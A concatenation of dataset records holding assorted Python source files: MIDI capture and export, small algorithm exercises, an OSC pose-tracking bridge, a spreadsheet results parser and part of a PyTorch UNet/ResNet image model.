create notes from self.midiMessages\r\n notes = {} \r\n cnt = 0 \r\n for note in self.midiMessages : \r\n pitch = self.midiMessages[note]['pitch']\r\n starttick = self.midiMessages[note]['starttick']\r\n endtick = self.midiMessages[note]['endtick']\r\n octave = pitch // 12\r\n mod = pitch % 12\r\n notestr = MusicTheory.pitchToNotes[mod]\r\n velocity = self.midiMessages[note]['velocity']\r\n notes[cnt] = { 'event': 'on', 'notestr': notestr, 'octave': octave, 'starttick': starttick, 'velocity': velocity, 'pitch': pitch }\r\n cnt += 1\r\n notes[cnt] = { 'event': 'off', 'notestr': notestr, 'octave': octave, 'starttick': endtick, 'velocity': 0, 'pitch': pitch }\r\n cnt += 1\r\n\r\n\r\n notes = collections.OrderedDict ( sorted ( notes.items(), key=lambda x : x[1]['starttick'] ) ) \r\n\r\n glbClk = 0 \r\n print() \r\n for key in notes : \r\n notes[key]['miditick'] = notes[key]['starttick'] - glbClk \r\n glbClk = notes[key]['starttick'] \r\n print ( key, notes[key]['notestr'], notes[key]['event'], notes[key]['miditick'], notes[key]['pitch'] ) \r\n\r\n\r\n fmt = 0\r\n fname = \"midi_export\" \r\n fnamePy = fname + \".py\" \r\n fout = open ( fnamePy, \"w\" ) \r\n\r\n fout.write ( \"import midi\\n\" ) ;\r\n fout.write ( \"# Instantiate a MIDI Pattern (contains a list of tracks)\\n\" ) ;\r\n fout.write ( \"pattern = midi.Pattern(format=%d, resolution=%d)\\n\" %(fmt, self.tsInfo['resolution']) ) ;\r\n fout.write ( \"# Instantiate a MIDI Track (contains a list of MIDI events)\\n\" ) ;\r\n fout.write ( \"track = midi.Track()\\n\" ) ;\r\n fout.write ( \"# Append the track to the pattern\\n\" ) ;\r\n fout.write ( \"pattern.append(track)\\n\" ) ;\r\n fout.write (\"# Midi Events Start Here\" ) ;\r\n fout.write ( \"\\n\" ) ;\r\n fout.write (\"# Instantiate a MIDI note on event, append it to the track\\n\" ) ;\r\n fout.write ( \"\\n\" ) ;\r\n\r\n tsDenominatorPow = int(math.log ( self.tsInfo['tsDenominator'], 2 )) ;\r\n string = \"time = midi.TimeSignatureEvent(tick=0, \" + \"data = [\" + str(self.tsInfo['tsNumerator']) + \", \" + str(tsDenominatorPow) + \", 24, 8])\" + \"\\n\" ; # 240 bpm\r\n fout.write ( string ) ;\r\n fout.write ( \"track.append(time)\\n\" ) \r\n\r\n for i in notes : \r\n \r\n pitch = notes[i]['notestr'] + \"_\" + str(notes[i]['octave'])\r\n tick = notes[i]['miditick']\r\n velocity = notes[i]['velocity']\r\n \r\n if ( notes[i]['event'] == 'on' ) : \r\n string = \"on = midi.NoteOnEvent(tick=\" + str( tick ) + \", velocity=\" + str(velocity) + \", pitch=midi.\" + pitch + \")\\n\" \r\n fout.write ( string ) ;\r\n fout.write ( \"track.append(on)\\n\" ) \r\n\r\n else : \r\n\r\n string = \"off = midi.NoteOffEvent(tick=\" + str( tick ) + \", velocity=\" + str(velocity) + \", pitch=midi.\" + pitch + \")\\n\" \r\n fout.write ( string ) ;\r\n fout.write ( \"track.append(off)\\n\" ) \r\n \r\n\r\n #print ( i, pitch, tick, velocity ) \r\n\r\n\r\n fout.write ( \"\\n\" ) ;\r\n fout.write (\"\\neot = midi.EndOfTrackEvent(tick=1)\" ) ;\r\n fout.write (\"\\ntrack.append(eot)\" ) ;\r\n fout.write ( \"\\n# Print out the pattern\" ) ;\r\n fout.write ( \"\\n#print pattern\" ) ;\r\n # Save the pattern to disk\r\n \r\n fout_name = fname + \".mid\" ;\r\n fout.write ( \"\\nmidi.write_midifile(\\\"%s\\\", pattern)\" %(fout_name) ) ;\r\n \r\n fout.close() ;\r\n\r\n call = \"python \" + fnamePy \r\n print ( call ) \r\n os.system ( call ) ;\r\n\r\n\r\n\r\n def generateStartAndEndTimes ( self ) : \r\n\r\n\r\n cnt = 0 \r\n length = len(self.messagesFromMidiInstrument) \r\n for note in self.messagesFromMidiInstrument : \r\n \r\n if ( self.messagesFromMidiInstrument[note]['event'] == 'note_off' ) : # ignore note off events\r\n continue\r\n\r\n for offnote in range ( note+1, length, 1 ) : \r\n \r\n if ( self.messagesFromMidiInstrument[offnote]['event'] == 'note_on' ) : # ignore note on events\r\n continue\r\n \r\n if ( self.messagesFromMidiInstrument[note]['pitch'] == self.messagesFromMidiInstrument[offnote]['pitch'] ) : \r\n\r\n self.midiMessages[cnt] = { 'pitch' : self.messagesFromMidiInstrument[note]['pitch'], \r\n 'starttick' : int(self.messagesFromMidiInstrument[note]['starttick']) ,\r\n 'endtick' : int(self.messagesFromMidiInstrument[offnote]['starttick']) , \r\n 'granularity' : 1, \r\n 'tie' : 0.00,\r\n 'velocity' : self.messagesFromMidiInstrument[note]['velocity'],\r\n 'duration' : int(self.messagesFromMidiInstrument[offnote]['starttick'] - self.messagesFromMidiInstrument[note]['starttick']),\r\n 'measure' : int( self.messagesFromMidiInstrument[note]['starttick'] / self.tsInfo['measureLength'] ) + 1,\r\n 'measureGranularity': round ( ( float(self.messagesFromMidiInstrument[note]['starttick']) / self.tsInfo['measureLength'] ) + 1, 2 ) , \r\n }\r\n cnt += 1\r\n break \r\n\r\n\r\n\r\n print() \r\n for note in self.midiMessages : \r\n \r\n print ( note,\r\n self.midiMessages[note]['pitch'], \r\n self.midiMessages[note]['starttick'],\r\n self.midiMessages[note]['endtick'], \r\n self.midiMessages[note]['granularity'], \r\n self.midiMessages[note]['tie'], \r\n self.midiMessages[note]['velocity'], \r\n self.midiMessages[note]['duration'], \r\n self.midiMessages[note]['measure'], \r\n self.midiMessages[note]['measureGranularity'],\r\n \r\n )\r\n\r\n\r\n\r\n#import djwatson_api\r\n#from djwatson_io import Note, Const\r\n\r\ncurrent_milli_time = lambda: int(round(time.time() * 1000000))\r\n\r\n\r\nclass PushMidiMessages(threading.Thread):\r\n def __init__(self, flushIntervalInSec):\r\n super(PushMidiMessages, self).__init__()\r\n\r\n #self.queue = RecordQueue()\r\n self.kill_received = False\r\n self.flushTrigger = None\r\n self.flushIntervalInSec = flushIntervalInSec\r\n\r\n def run(self):\r\n\r\n\r\n for msg in inport: # nonblocking; flush out buffered msgs and return immediately\r\n\r\n # if self.flushTrigger == None and (msg.type == 'note_on' or msg.type == 'note_off'):\r\n # self.flushTrigger = FlushTrigger(self.queue, self.flushIntervalInSec)\r\n # self.flushTrigger.start()\r\n\r\n# self.queue.lock.acquire()\r\n #print ( msg ) \r\n\r\n if msg.type == 'note_on':\r\n# if firstMsgTime == 0:\r\n# firstMsgTime = msg.time\r\n\r\n #self.queue.pushNote(msg.note, convertMsgTimeToTick(msg.time), msg.velocity)\r\n print(\"note on:\" , msg.note, \"time: \", msg.time, \"velocity: \" , msg.velocity)\r\n\r\n elif msg.type == 'note_off':\r\n print(\"note off:\" , msg.note, \"time: \", msg.time, \"velocity: \" , msg.velocity)\r\n\r\n #self.queue.releaseNote(msg.note, convertMsgTimeToTick(msg.time))\r\n\r\n# self.queue.lock.release()\r\n#\r\n# if (msg.type == 'note_on' or msg.type == 'note_off') and self.flushTrigger.trigger == True:\r\n# if self.flushTrigger.pendingTrigger == True:\r\n# self.flushTrigger.attemptFlush()\r\n# else:\r\n# self.flushTrigger = None\r\n\r\n\r\n\r\nif __name__ == '__main__' :\r\n\r\n\r\n\r\n\r\n quarternotePerMin = 75\r\n ticksPerQuarterNote = 480\r\n msgInterval = 240 # in # of ticks\r\n firstMsgTime = 0 # in seconds; will be set at the first note\r\n flushIntervalInSec = 3.0\r\n \r\n note_min = 21\r\n note_max = 108\r\n \r\n \r\n ticksPerTie = 240\r\n ticksPerPush = ticksPerTie * 10\r\n \r\n firstMsgTime = 0 \r\n milliSecPerTick = 60000.0 / quarternotePerMin / ticksPerQuarterNote\r\n\r\n\r\n midi = RecordMidi() \r\n midi.run() \r\n\r\n\r\n sys.exit(0) \r\n\r\n\r\n\r\n mido.set_backend('mido.backends.rtmidi')\r\n inport = mido.open_input()\r\n\r\n\r\n try:\r\n with mido.open_input() as port:\r\n print('Using {}'.format(port))\r\n print('Waiting for messages...')\r\n for message in port:\r\n print ( message.type, message.time, message.note, message.velocity ) \r\n #print('Received {}'.format(message))\r\n except KeyboardInterrupt:\r\n pass\r\n\r\n sys.exit(0) \r\n\r\n\r\n\r\n\r\n threads = []\r\n # pushMidi = PushMidiMessages(Const.flushIntervalInSec)\r\n pushMidi = PushMidiMessages(3.0)\r\n pushMidi.daemon = True\r\n\r\n threads.append(pushMidi)\r\n\r\n pushMidi.start()\r\n\r\n while True:\r\n try:\r\n pushMidi.join(1)\r\n # for t in threads:\r\n # if t.is_alive():\r\n # # print('joining thread: '+str(t))\r\n # t.join(1)\r\n except KeyboardInterrupt:\r\n # for t in threads:\r\n # t.kill_received = True\r\n break\r\n","sub_path":"src/DevServer/midi_input.py","file_name":"midi_input.py","file_ext":"py","file_size_in_byte":18108,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"11324834","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Feb 24 07:56:28 2017\n\n@author: Administrator\n\"\"\"\n\ndef findMaximumXOR(nums):\n maxRes=0\n mask=0\n for i in range(5,-1,-1):\n #/The mask will grow like 100..000 , 110..000, 111..000,then 1111...111\n mask=mask|(1< c:\n if c < (a_b >> 1):\n return 0\n return c - ((a_b - 1) >> 1)\n return a_b >> 1\n\n\ndef main():\n pairs = []\n for a in range(1, 1000):\n for trio in euler.pythagorean_unique_trio(a):\n pairs.extend((trio[:2], trio[1::-1]))\n pairs.sort()\n count = 0\n c = 0\n while True:\n c += 1\n for pair in pairs:\n if pair[0] > c:\n break\n if c % pair[0] == 0:\n d = c // pair[0]\n count += count_of_c(c, pair[1] * d)\n if count > LIMIT:\n return c\n\n\nif __name__ == '__main__':\n print(main())\n","sub_path":"python/problem86.py","file_name":"problem86.py","file_ext":"py","file_size_in_byte":788,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"490461173","text":"from pythonosc.dispatcher import Dispatcher\nfrom pythonosc.osc_server import BlockingOSCUDPServer\nfrom pythonosc.udp_client import SimpleUDPClient\nfrom functools import partial\nimport time\nimport math\n\nip = \"127.0.0.1\"\nport = 6669\nclient = SimpleUDPClient(ip, port)\n\n# Constants\nparts = ['nose', 'leftEye', 'rightEye', 'leftEar', 'rightEar',\n 'leftShoulder', 'rightShoulder', 'leftElbow', 'rightElbow',\n 'leftWrist', 'rightWrist', 'leftHip', 'rightHip', 'leftKnee',\n 'rightKnee', 'leftAnkle', 'rightAnkle']\nnumparts = len(parts)\npart2idx = {p: i for i, p in enumerate(parts)}\nidx2part = {i: p for i, p in enumerate(parts)}\n\nparams = ['r_arm_height', 'l_arm_height']\n\n\ndef clamp(value, lower, upper):\n return lower if value < lower else upper if value > upper else value\n\n\ndef lerp(a, b, t):\n return (1.0 - t) * (a + b) * t\n\n\ndef inv_lerp(a, b, v):\n return (v - a) / (b - a)\n\n\ndef remap(in_range, out_range, v):\n t = inv_lerp(in_range[0], in_range[1], v)\n return lerp(out_range[0], out_range[1], t)\n\n\npose = {p: (-1, -1) for p in parts}\n\n\ndef update_pose(data):\n xp, yp = msg2data(data)\n for i, (x, y) in enumerate(zip(xp, yp)):\n if x > -1 and y > -1:\n pose[idx2part[i]] = (x, y)\n\n\ndef center_of_mass(pose):\n xp = [\n p[0] for p in [\n pose[part] for part in [\n \"leftShoulder\",\n \"rightShoulder\",\n \"leftHip\",\n \"rightHip\"]]]\n yp = [\n p[1] for p in [\n pose[part] for part in [\n \"leftShoulder\",\n \"rightShoulder\",\n \"leftHip\",\n \"rightHip\"]]]\n\n avgx = sum(xp) / 4\n avgy = sum(yp) / 4\n return avgx, avgy\n\n\ndef params_dict(pose):\n pdict = {}\n\n pdict[\"l_arm_height\"] = clamp(\n pose[\"leftWrist\"][1],\n pose[\"nose\"][1],\n pose[\"leftHip\"][1])\n pdict[\"l_arm_height\"] = inv_lerp(pose[\"nose\"][1],\n pose[\"leftHip\"][1],\n pdict[\"l_arm_height\"])\n return pdict\n\n\ndef writelns(filename, lines):\n with open(filename, 'a') as file:\n for line in lines:\n file.write(line + \"\\n\")\n\n\ndef handle_msg(addr, *args):\n update_pose(args)\n pose_param = params_dict(pose)\n client.send_message(\"/fs1/lpf\", [pose_param['l_arm_height'] + 300, 1])\n print(pose_param[\"l_arm_height\"])\n\n\ndef msg2data(args):\n x_points = [-1 for i in range(numparts)]\n y_points = [-1 for i in range(numparts)]\n for i in range(0, len(args), 3):\n part = args[i]\n\n x = float(args[i + 1])\n x_points[part2idx[part]] = x\n\n y = float(args[i + 2])\n y_points[part2idx[part]] = y\n\n return x_points, y_points\n\n\nif __name__ == \"__main__\":\n ip = \"127.0.0.1\"\n port = 6666\n\n dispatcher = Dispatcher()\n dispatcher.map(\"/pose/*\", handle_msg)\n # dispatcher.set_default_handler(println)\n\n # Blocking server ensures messages handled in order\n server = BlockingOSCUDPServer((ip, port), dispatcher)\n server.serve_forever()\n","sub_path":"params.py","file_name":"params.py","file_ext":"py","file_size_in_byte":3077,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"582313517","text":"import statistics\nfrom Cromossomo import Cromossomo\n\ndef salvar_dados(nome_arquivo,lista_resultado): \n precisao_casas_decimais = 6\n \n with open(nome_arquivo + \".csv\", \"w\") as arquivo:\n #Cabeçalho\n arquivo.write(\" \")\n for i in range(len(lista_resultado)):\n arquivo.write(\"Execucao\" + str(i+1) + \" \") \n arquivo.write(\"Media\"+ \" \")\n arquivo.write(\"Melhor\" + \" \")\n arquivo.write('\\n')\n\n #Conteudo\n for i in range(len(lista_resultado[0])):\n data = []\n arquivo.write(str(i + 1) + \" \")\n for lista in lista_resultado:\n particula_global = round(lista[i].get_aptidao(),4)\n particula_global = round(particula_global,precisao_casas_decimais)\n data.append(particula_global)\n arquivo.write(str(particula_global).replace('.',',') + \" \")\n\n lista = sorted(data , key=lambda t: t)\n \n #Media\n media = round(statistics.mean(data),4)\n arquivo.write(str(media).replace('.',',') + \" \")\n\n #Melhor\n menor = round(lista[0],4)\n arquivo.write(str(menor).replace('.',',') + \" \")\n\n # #xBest\n # xBest = lista[0].x_best\n # arquivo.write(str(xBest).replace('.',',') + \" \")\n\n arquivo.write('\\n')","sub_path":"persistencia.py","file_name":"persistencia.py","file_ext":"py","file_size_in_byte":1373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"610535537","text":"from sort_analyser import random_list_generator, measure_runtime, select_function\n\n\ndef menu():\n print(\"----------------------- Welcome to sorting algorithm analyser -----------------------\\n\")\n select_options()\n\n user_input = int(input(\"Enter option: \"))\n size = int(input(\"\\nEnter the size of list to be created: \"))\n maximum_num = int(input(\"Enter the maximum number to be created in the list: \"))\n print()\n run = select_function(user_input) # returns a sort function object\n\n while user_input != 0:\n if user_input == 1: # bubble sort\n gen_list = random_list_generator(size, maximum_num) # generates array\n return measure_runtime(run, gen_list)\n\n elif user_input == 2: # insertion sort\n gen_list = random_list_generator(size, maximum_num) # generates array\n return measure_runtime(run, gen_list)\n\n elif user_input == 3: # merge sort\n gen_list = random_list_generator(size, maximum_num) # generates array\n return measure_runtime(run, gen_list)\n\n elif user_input == 4: # quick sort\n gen_list = random_list_generator(size, maximum_num) # generates array\n return measure_runtime(run, gen_list)\n\n elif user_input == 5: # python's sorting function\n gen_list = random_list_generator(size, maximum_num) # generates array\n return measure_runtime(run, gen_list)\n\n elif user_input == 6: # save user profile\n gen_list = random_list_generator(size, maximum_num) # generates array\n for functions in run:\n res = [measure_runtime(functions, gen_list)]\n return res\n\n select_options() # display a list of options for the user to choose from\n user_input = int(input(\"\\nSelect from the menu: \"))\n\n\ndef select_options():\n print(\"____________________________________\\n\"\n \"| 1. Bubble sort |\\n\"\n \"| 2. Insertion sort |\\n\"\n \"| 3. Merge sort |\\n\"\n \"| 4. Quick Sort |\\n\"\n \"| 5. Python's sorted Function |\\n\"\n \"| 6. Run all function |\\n\"\n \"| 0. Exit application |\\n\"\n \"|__________________________________|\")\n\n\nif __name__ == '__main__':\n menu()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2353,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"91629307","text":"print()\n\nkata = input(\"Input: \")\ntemp = \"\"\n\nfor i in range(len(kata)-1, -1, -1): #Looping dari karakter / huruf terakhir\n temp+=kata[i]\n\nprint(\"Output: \", end=\"\")\nif(kata == temp): #Pengecekan kondisi dengan membandingkan kedua variabel\n print(\"True\")\nelse:\n print(\"False\")","sub_path":"nomor3.py","file_name":"nomor3.py","file_ext":"py","file_size_in_byte":282,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"47858755","text":"from directedNode import DirectedNode\n\nclass Field:\n # Field is a wrapper for a group of DirectedNode-s. Handles group resets, group steps, and retrieval of values at any point in space via inverse distance weighting.\n\n nodes = [ DirectedNode( 0.50, 0.75, 0.35, 0.65, 0.00, 0.00, 0.00 ),\n DirectedNode( 0.75, 1.00, 0.75, 1.00, 0.00, 1.00, 0.00 ),\n\n DirectedNode( 0.25, 0.50, 0.35, 0.65, 1.00, 0.00, 1.00 ),\n DirectedNode( 0.00, 0.25, 0.50, 0.75, 1.00, 1.00, 1.00 ),\n\n DirectedNode( 0.75, 1.00, 0.00, 0.50, 0.00, 0.50, 0.00 ),\n DirectedNode( 0.00, 0.25, 0.50, 1.00, 1.00, 0.50, 1.00 ) ]\n\n def reset( self ):\n # Basic, reset all nodes\n\n for node in self.nodes:\n node.reset( )\n\n def step( self, perc ):\n # Basic, step all nodes to same percent\n\n for node in self.nodes:\n node.step( perc )\n\n def getVal( self, x, y ):\n # This uses inverse distance weighting to compute the value at the point given\n\n v = 0 # Value accum\n d = 0 # Distance accum\n td = 0 # Temp variable to save some typing\n\n for node in self.nodes:\n\n # If distance == 0\n if ( x == node.x ) and ( y == node.y ):\n\n # Just break, the value will be equal to the (first encountered) node\n v = node.val;\n d = -1\n break\n\n else:\n\n # Calculate a distance\n td = 1.0 / pow( pow( node.x - x, 2 ) + pow( node.y - y, 2 ), 2 ) # 1/ r^4\n v += td * node.val\n d += td\n\n # If we are not on top of a point\n # NOTE: We use -1 as a flag because the distance to an even power will never be negative\n if d > 0:\n v /= d\n\n # Return value\n return v\n","sub_path":"field.py","file_name":"field.py","file_ext":"py","file_size_in_byte":1817,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"604054501","text":"\"\"\"\nExercise 6: Given the following two sets find the intersection and remove those elements from the first set\nExpected Output:\n\nFirst Set {65, 42, 78, 83, 23, 57, 29}\nSecond Set {67, 73, 43, 48, 83, 57, 29}\n\nIntersection is {57, 83, 29}\nFirst Set after removing common element {65, 42, 78, 23}\n\"\"\"\n\nfirst = {65, 42, 78, 83, 23, 57, 29}\nsecond = {67, 73, 43, 48, 83, 57, 29}\n\nin_first_but_no_in_second = first - second\n\nprint(in_first_but_no_in_second)\n\nintersection = first & second\nprint(intersection)\n\n# #############################\n\nfirstSet = {23, 42, 65, 57, 78, 83, 29}\nsecondSet = {57, 83, 29, 67, 73, 43, 48}\n\nprint(\"First Set \", firstSet)\nprint(\"Second Set \", secondSet)\n\nintersection = firstSet.intersection(secondSet)\nprint(\"Intersection is \", intersection)\nfor item in intersection:\n firstSet.remove(item)\n\nprint(\"First Set after removing common element \", firstSet)","sub_path":"pynative/6_datastructure/ex_6.py","file_name":"ex_6.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"450865543","text":"from openpyxl import Workbook\nimport configparser\n\npar_list = [\n\"SensorName\",\n\"Temp\",\n\"Bias\",\n\"Resistance\",\n\"pulseArea\",\n\"pulseArea_Error\",\n\"Pmax\",\n\"Pmax_Error\",\n\"RMS\",\n\"RMS_Error\",\n\"Rise_Time\",\n\"Rise_Time_Error\",\n\"dvdt\",\n\"dvdt_Error\",\n\"FWHM\",\n\"FWHM_Error\",\n\"NewPulseArea\",\n\"NewPulseArea_Error\",\n\"FallTime\",\n\"FallTime_Error\"\n]\n\npar_dict = {\n\"SensorName\" : \"B\",\n\"Temp\" : \"G\",\n\"Bias\" : \"H\",\n\"Resistance\" : \"L\",\n\"pulseArea\" : \"J\",\n\"pulseArea_Error\" : \"K\",\n\"Pmax\" : \"R\",\n\"Pmax_Error\" : \"S\",\n\"RMS\" : \"T\",\n\"RMS_Error\" : \"U\",\n\"Rise_Time\" : \"Z\",\n\"Rise_Time_Error\" : \"AA\",\n\"dvdt\" : \"AB\",\n\"dvdt_Error\" : \"AC\",\n\"FWHM\" : \"AL\",\n\"FWHM_Error\" : \"AM\",\n\"NewPulseArea\" : \"CA\",\n\"NewPulseArea_Error\" : \"CB\",\n\"FallTime\" : \"DG\",\n\"FallTime_Error\" : \"DH\",\n\"cycle\" : \"F\"\n}\n\nconfig = configparser.ConfigParser()\nconfig.read(\"_results.ini\")\nconfig_section = config.sections()\nprint(config_section)\n\nwb = Workbook()\nws = wb.active\nrowCounter = 1\ndut_trig = [\"DUT\", \"Trig\"]\n\nRunNum = 100\nSensorName = \"Hi\"\nTemp = 20\nResistance = 4700\ntrigBias = 395\n\nfor ch in dut_trig:\n for bias in config_section:\n if ch in bias:\n if ch != \"Trig\":\n if \"..\" in bias:\n Bias = bias[bias.find(\"_\")+1:bias.find(\"V\")]\n cycle = bias.split(\"..\")[1]\n if \"_\" in cycle:\n cycle = cycle.split(\"_\")[0]\n else:\n Bias = bias[bias.find(\"_\")+1:bias.find(\"V\")]\n cycle = 1\n else:\n #Bias = trigBias\n try:\n Bias = config[bias][\"trigger_bias\"]\n if \"..\" in bias:\n cycle = bias.split(\"..\")[1]\n if \"_\" in cycle:\n cycle = cycle.split(\"_\")[0]\n else:\n cycle = 1\n except:\n Bias = -390\n cycle = 1\n for par in par_list:\n if (par == \"SensorName\"):\n cell = par_dict[par] + str(rowCounter)\n ws[cell] = SensorName\n elif (par == \"Temp\"):\n try:\n Temp = config[bias][\"temperature\"]\n except:\n Temp = \"-30\"\n cell = par_dict[par] + str(rowCounter)\n ws[cell] = float(Temp)\n elif (par == \"Bias\"):\n cell = par_dict[par] + str(rowCounter)\n ws[cell] = float(Bias)\n if cycle:\n cell = par_dict[\"cycle\"] + str(rowCounter)\n ws[cell] = int(cycle)\n elif (par == \"Resistance\"):\n cell = par_dict[par] + str(rowCounter)\n ws[cell] = float(Resistance)\n else:\n cell = par_dict[par] + str(rowCounter)\n ws[cell] = float(config[bias][par])\n rowCounter+=1\n rowCounter+=1\n\nwb.save(\"_results.xlsx\")\n","sub_path":"scripts/betaScope_pyScript/parseBetaResultsToExcel.py","file_name":"parseBetaResultsToExcel.py","file_ext":"py","file_size_in_byte":3044,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"430876259","text":"\"\"\"\r\n5. Seja o mesmo texto acima “splitado”. Calcule quantas palavras possuem uma das letras “python” e que tenham mais de 4\r\ncaracteres. Não se esqueça de transformar maiúsculas para minúsculas e de remover antes os caracteres especiais.\r\n\"\"\"\r\n__author__ = 'Leonardo Vinicius Maciel aka Sephyros'\r\n\r\nstatement = \"The Python Software Foundation and the global Python community welcome and encourage participation by \" \\\r\n \"everyone. Our community is based on mutual respect, tolerance, and encouragement, and we are working to \" \\\r\n \"help each other live up to these principles. We want our community to be more diverse: whoever you are, \" \\\r\n \"and whatever your background, we welcome you.\"\r\ni = 0\r\nnew_statement = \"\"\r\nwhile i < len(statement):\r\n if statement[i] in \".,:\":\r\n new_statement += \"\"\r\n else:\r\n new_statement += statement[i]\r\n i += 1\r\npalavras = []\r\nquantidade = 0\r\nsequencia = \"python\"\r\nfor palavra in new_statement.split():\r\n palavra_ok = False\r\n for letra in palavra:\r\n if letra in sequencia:\r\n palavra_ok = True\r\n break\r\n if palavra_ok and palavra.lower() not in palavras:\r\n palavras.append(palavra.lower())\r\npalavras.sort()\r\nfor palavra in palavras:\r\n if len(palavra) > 4:\r\n quantidade += 1\r\nprint(\"Existem %d palavras únicas com uma das letras de %s\" % (quantidade, sequencia))","sub_path":"PingMind/Python para Zumbis/Lista IV/questao05.py","file_name":"questao05.py","file_ext":"py","file_size_in_byte":1418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"109469543","text":"import torch\nfrom .base_model import BaseModel\nfrom . import networks\nimport numpy as np\nimport os\n\n\nclass UnetResnetL2Model(BaseModel):\n @staticmethod\n def modify_commandline_options(parser, is_train=True):\n parser.set_defaults(norm='instance', norm_G='instance', netG='resnet_9blocks', dataset_mode='exr', input_nc=5, output_nc=2, preprocess='N.A.', image_type='exr', image_value_bound=26350, no_flip=True)\n parser.add_argument('--unet_residue', action='store_true', help='')\n parser.add_argument('--fixed_example', action='store_true', help='')\n parser.add_argument('--fixed_index', type=int, default=0, help='')\n parser.add_argument('--netU', type=str, default='unet_256')\n parser.add_argument('--unet_input_nc', type=int, default=3)\n parser.add_argument('--use_feature_extractor', action='store_true', help='')\n parser.add_argument('--break4', action='store_true', help='')\n return parser\n\n def __init__(self, opt):\n BaseModel.__init__(self, opt)\n # specify the training losses you want to print out. The training/test scripts will call \n self.loss_names = ['D_L2', 'G_L2']\n # specify the images you want to save/display. The training/test scripts will call \n self.visual_names = ['real_A', 'post_unet', 'fake_B', 'real_B']\n # specify the models you want to save to the disk. The training/test scripts will call and \n self.model_names = ['G']\n if opt.use_feature_extractor: self.model_names += ['Feature']\n self.preload_names = ['U']\n # define networks\n self.netU = networks.define_G(opt.unet_input_nc, opt.output_nc, opt.ngf, opt.netU, opt.norm_G,\n not opt.no_dropout, opt.init_type, opt.init_gain, self.gpu_ids, downsample_mode=opt.downsample_mode, upsample_mode=opt.upsample_mode, upsample_method=opt.upsample_method, linear=opt.linear)\n self.netG = networks.define_G(opt.input_nc, opt.output_nc, opt.ngf, opt.netG, opt.norm_G,\n not opt.no_dropout, opt.init_type, opt.init_gain, self.gpu_ids, downsample_mode=opt.downsample_mode, upsample_mode=opt.upsample_mode, upsample_method=opt.upsample_method, linear=opt.linear)\n if opt.use_feature_extractor:\n self.netFeature = networks.init_net(networks.FeatureExtractor(opt.output_nc), gpu_ids=self.gpu_ids)\n self.load_base_networks()\n\n if self.isTrain:\n # define loss functions\n self.criterionL2 = torch.nn.MSELoss()\n # initialize optimizers; schedulers will be automatically created by function .\n self.optimizer_G = torch.optim.Adam(self.netG.parameters(), lr=opt.lr, betas=(opt.beta1, 0.999))\n self.optimizers.append(self.optimizer_G)\n if opt.use_feature_extractor:\n self.optimizer_Feature = torch.optim.Adam(self.netFeature.parameters(), lr=opt.lr, betas=(opt.beta1, 0.999))\n self.optimizers.append(self.optimizer_Feature)\n\n def set_input(self, input):\n \"\"\"Unpack input data from the dataloader and perform necessary pre-processing steps.\n\n Parameters:\n input (dict): include the data itself and its metadata information.\n\n The option 'direction' can be used to swap images in domain A and domain B.\n \"\"\"\n AtoB = self.opt.direction == 'AtoB'\n self.real_A = input['A' if AtoB else 'B'].to(self.device)\n self.real_B = input['B' if AtoB else 'A'].to(self.device)\n self.real_B = 1 - torch.nn.ReLU()(2 - torch.nn.ReLU()(self.real_B + 1)) #clip to [-1, 1]\n self.image_paths = input['A_paths' if AtoB else 'B_paths']\n\n def forward(self):\n \"\"\"Run forward pass; called by both functions and .\"\"\"\n if self.opt.break4:\n self.real_A = self.break_into_4(self.real_A)\n self.real_B = self.break_into_4(self.real_B)\n self.post_unet = self.netU(self.real_A).detach()\n if self.opt.unet_residue:\n self.post_unet[:, 1, :, :] = self.post_unet[:, 1, :, :] + self.real_A[:, 0, :, :]\n self.fake_B = self.netG(torch.cat((self.real_A, self.post_unet), 1))\n self.fake_B = self.fake_B + self.post_unet\n\n def backward_D(self):\n if not self.opt.use_feature_extractor:\n self.loss_D_L2 = torch.zeros([1]).to(self.device)\n self.loss_D = self.loss_D_L2\n else:\n fake_B_features = self.netFeature(self.fake_B.detach())\n real_features = self.netFeature(self.real_B)\n self.loss_D_L2 = -self.criterionL2(fake_B_features, real_features) * 1000\n self.loss_D = -self.loss_D_L2 / self.loss_D_L2.item() * 2 / 1000\n self.loss_D.backward()\n\n def backward_G(self):\n self.loss_G_L2 = self.criterionL2(self.fake_B, self.real_B) * 1000\n if not self.opt.use_feature_extractor:\n self.loss_G = self.loss_G_L2 / 1000\n else:\n fake_B_output = self.netFeature(self.fake_B)\n real_B_output = self.netFeature(self.real_B)\n feat_loss = self.criterionL2(fake_B_output, real_B_output)\n self.loss_G = self.loss_G_L2 / 1000 + feat_loss / feat_loss.item() * self.loss_G_L2.item() / 1000\n self.loss_G.backward()\n\n def optimize_parameters(self):\n self.forward()\n if self.opt.use_feature_extractor:\n self.set_requires_grad(self.netFeature, True)\n self.optimizer_Feature.zero_grad()\n self.backward_D()\n if self.opt.use_feature_extractor:\n self.optimizer_Feature.step()\n self.set_requires_grad(self.netFeature, False)\n # update G\n self.optimizer_G.zero_grad()\n self.backward_G()\n self.optimizer_G.step()\n\n def compute_visuals(self, dataset=None):\n if not self.opt.fixed_example or dataset is None:\n return\n single = dataset.dataset.get_val_item(self.opt.fixed_index)\n AtoB = self.opt.direction == 'AtoB'\n self.real_A = single['A' if AtoB else 'B'].unsqueeze(0).to(self.device)\n self.real_B = single['B' if AtoB else 'A'].unsqueeze(0).to(self.device)\n self.image_paths = [single['A_paths' if AtoB else 'B_paths']]\n\n self.forward()\n if self.opt.break4:\n 